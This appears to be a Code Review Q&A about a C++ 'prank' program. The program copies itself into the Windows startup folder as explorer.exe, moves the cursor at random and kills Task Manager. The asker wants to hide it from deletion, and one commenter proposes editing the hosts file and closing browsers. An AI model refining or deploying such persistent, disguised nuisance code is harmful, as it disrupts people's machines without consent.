6
\$\begingroup\$

I've made a simple program that moves the mouse and do other silly stuff. I want you to look at it and tell me what can I do better/less space and also what can I add. I want to prank my friends.

#include <cstdio>
#include <windows.h>
#include <conio.h>
#include <tlhelp32.h>
#include <iostream>
#include <time.h>
#include <string>
#include <shlobj.h>
#include <string.h>

using namespace std;

void killProcess(const char *processName);
void mainFrame();

int main()
{
    char lpszPath[MAX_PATH];
    SHGetSpecialFolderPath(NULL, lpszPath, CSIDL_STARTUP, false);
    /* ^ find startup folder path ^ */

    char fullPath[500];
    char const *copyName = "\\explorer.exe";
    strcpy(fullPath, lpszPath);
    strcat(fullPath, copyName);
    /* ^ add filename to the startup path (for copying) ^ */

    char fileName[ MAX_PATH ];
    GetModuleFileName(NULL, fileName, MAX_PATH);
    /* ^ find the path of running program itself ^ */

    CopyFile(fileName, fullPath, 0);
    /* ^ copy the program itself to startup ^ */

    //FreeConsole();
    /* ^ hide the console window ^ */
    srand(time(NULL));
    mainFrame();
}

void mainFrame()
{
    int mouseX, mouseY; char key;
    while(key!='e') /* you can close the program with 'e' (if window not hidden) */
    {
        while(!kbhit())
        {
            mouseX= rand() % 1440; mouseY= rand() % 900;

            SetCursorPos(mouseX, mouseY);
            Beep(12000, 100);

            killProcess("taskmgr.exe");
            /* ^ kill task manager if running ^ */
        }
        key= getch();
        /* ^ get the character from keyboard ^ */
    }
}

//code below is not mine (killing a process):
void killProcess(const char *processName)
{
    HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
    PROCESSENTRY32 pEntry;
    pEntry.dwSize = sizeof (pEntry);
    BOOL hRes = Process32First(hSnapShot, &pEntry);
    while (hRes)
    {
        if (strcmp(pEntry.szExeFile, processName) == 0)
        {
            HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
                                          (DWORD) pEntry.th32ProcessID);
            if (hProcess != NULL)
            {
                TerminateProcess(hProcess, 9);
                CloseHandle(hProcess);
            }
        }
        hRes = Process32Next(hSnapShot, &pEntry);
    }
    CloseHandle(hSnapShot);
}

I know that it's easy to get rid of: just open cmd, navigate to startup, delete the file and reboot. When I give hidden and system attributes to the file it doesn't launch at startup. Is there a way to block the user from deleting/seeing it?

\$\endgroup\$
6
  • 2
    \$\begingroup\$ While we can help you clean up the code, Code Review is not really the place to ask for suggestions about how to implement blocking the user from deleting/seeing it. \$\endgroup\$ Commented Oct 24, 2014 at 21:08
  • \$\begingroup\$ I've written something like this before. Some other things you can do are: 1) modify the hosts file (warning slightly dangerous), 2) draw an image on the raw-screen with GetDC (safe), 3) in a random time interval between 30 minutes and two hours, close all web-browsers or other popular programs such as games (safe for the most part). \$\endgroup\$
    – jliv902
    Commented Oct 24, 2014 at 21:26
  • \$\begingroup\$ oh the drawing would be cool :D \$\endgroup\$
    – user56806
    Commented Oct 24, 2014 at 21:31
  • \$\begingroup\$ I don't understand that GetDC. All I know is I get a context and if I pass the NULL into it, i get the context of entire screen. But how can I draw something? \$\endgroup\$
    – user56806
    Commented Oct 24, 2014 at 21:41
  • \$\begingroup\$ @daavid245 Here's a quick and dirty example. \$\endgroup\$
    – jliv902
    Commented Oct 24, 2014 at 21:49

3 Answers 3

4
\$\begingroup\$
  1. Check the error codes for Windows API calls or create wrapper functions/classes that throw exceptions.

    For a program like this, it doesn't matter too much, but I've been bitten in more serious scenarios. Make sure you read the documentation for each call because sometimes you may be accidentally checking to see if a function returned INVALID_HANDLE_VALUE instead of NULL (or nullptr) and vice-versa.

  2. Use the RAII principle.

    Wrap your HANDLEs in a smart pointer or custom class and have the destructor release the handle.

    Here's a quick and dirty and not-so-good example:

    // Very simple and bare and not-so-good implementation, only works on a subset of handles.
    class SmartHandle
    {
    public:
        SmartHandle () : m_handle (INVALID_HANDLE_VALUE)
        {
        }
    
        SmartHandle (const HANDLE &handle) : m_handle (handle)
        {
        }
    
        ~SmartHandle () {
            if (m_handle != INVALID_HANDLE_VALUE) {
                ::CloseHandle (m_handle) ;
                m_handle = INVALID_HANDLE_VALUE ;
            }
        }
    
        HANDLE& Get () {
            return m_handle ;
        }
    
        const HANDLE& Get () const {
            return m_handle ;
        }
    
    private:
        HANDLE m_handle ;
    
        // No implementation for now
        SmartHandle& operator= (SmartHandle other) ;
        SmartHandle (const SmartHandle &other) ;
    };
    
  3. Prefer std::string over raw char buffers/pointers.

    You could use the std::string::data() member-function if you need a const char *. If you need a buffer of a certain length, you can set the size of the string via one of its constructors or you could call the std::string::resize() function.

  4. Try to close a process cleanly by sending its main window the WM_CLOSE message instead of just calling ::TerminateProcess(). This will give the process a chance to release any resources it is using and it will allow a user to save any files that you may try to close.

\$\endgroup\$
4
\$\begingroup\$
  1. Please do not use using namespace std (read this).

  2. Convert magic numbers like 1440 and 900 to global constants with meaningful names. I would do the same for string literals like \\explorer.exe and taskmgr.exe, but maybe that's just me

  3. Your formatting is not consistent. Sometimes you assign variables like pEntry.dwSize = ..., with spaces around =, and sometimes like mouseX= , space only on one side. I suggest to put spaces on both sides, and to be consistent about it.

  4. I would put these two assignments on separate lines for clarity:

    mouseX= rand() % 1440; mouseY= rand() % 900;
    
\$\endgroup\$
1
  • \$\begingroup\$ thank you! :) mainly for the using namespace std part :) \$\endgroup\$
    – user56806
    Commented Oct 24, 2014 at 21:32
2
\$\begingroup\$
  • You have <string> included, but you never use any std::string objects. Either remove that, or consider using such objects in place of C-strings, as this is C++.

  • Consider defining main() lastly so that function prototypes won't be needed.

  • Don't put these all on the same line:

    int mouseX, mouseY; char key;
    

    For maintenance concerns, each variable should be on separate lines:

    int mouseX;
    int mouseY;
    char key;
    
  • If you have a C++11 compiler, replace all uses of NULL with nullptr.

\$\endgroup\$

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.